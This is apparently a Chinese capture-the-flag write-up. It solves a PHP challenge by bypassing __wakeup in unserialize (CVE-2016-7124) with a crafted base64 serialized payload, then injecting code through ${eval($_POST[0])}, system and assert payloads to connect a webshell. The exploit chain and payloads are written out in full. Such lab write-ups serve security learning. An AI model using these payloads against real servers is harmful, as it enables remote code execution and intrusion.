考点:php反序列化漏洞(CVE-2016-7124), eval命令注入
进去点击连接得到以下提示

将hash值md5解码得到 kkkkkk01123 ,将123替换成234,前面的key也变成234
payload:key=234&hash=95ffc787ea663a1eddbf935f9e5b9675

访问得到源码
<?php
class Demo {
private $file = 'Gu3ss_m3_h2h2.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'Gu3ss_m3_h2h2.php') {
//the secret is in the f15g_1s_here.php
$this->file = 'Gu3ss_m3_h2h2.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("Gu3ss_m3_h2h2.php");
}
?>
很明显的反序列化漏洞绕过,将file的值通过反序列化变成 f15g_1s_here.php
,再最后执行__destruct()魔术方法,利用height_light函数打印出 f15g_1s_here.php
的源码,同时注意var传的值经过了一次base64加密。在本地phpstudy或xampp上构造payload。
<?php class Demo { private $file = 'Gu3ss_m3_h2h2.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'Gu3ss_m3_h2h2.php') { //the secret is in the f15g_1s_here.php $this->file = 'Gu3ss_m3_h2h2.php'; } } } $file = new Demo("f15g_1s_here.php"); $file = serialize($file); #echo $file; #O:4:"Demo":1:{s:10:"Demofile";s:16:"f15g_1s_here.php";} $file = str_replace('O:4','O:+4',$file); $file = str_replace(':1',':2',$file); echo base64_encode($file); ?>
得到TzorNDoiRGVtbyI6ODp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ==
payload:url/Gu3ss_m3_h2h2.php?var=TzorNDoiRGVtbyI6ODp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ==

这里就变成了一个命令执行的题目了,发现拼接的val变量值经过了addslashes函数过滤
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
- 单引号(’)
- 双引号(”)
- 反斜杠(\)
- NULL
提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。
构造命令执行语句:
1.payload: f15g_1s_here.php?val=${eval($_POST[0])}
用蚁剑连接得到flag,或者POST传参

2.payload: f15g_1s_here.php?val=${${system(ls)}}
3.payload f15g_1s_here.php?val=${${assert($_POST[1])}} 蚁剑连接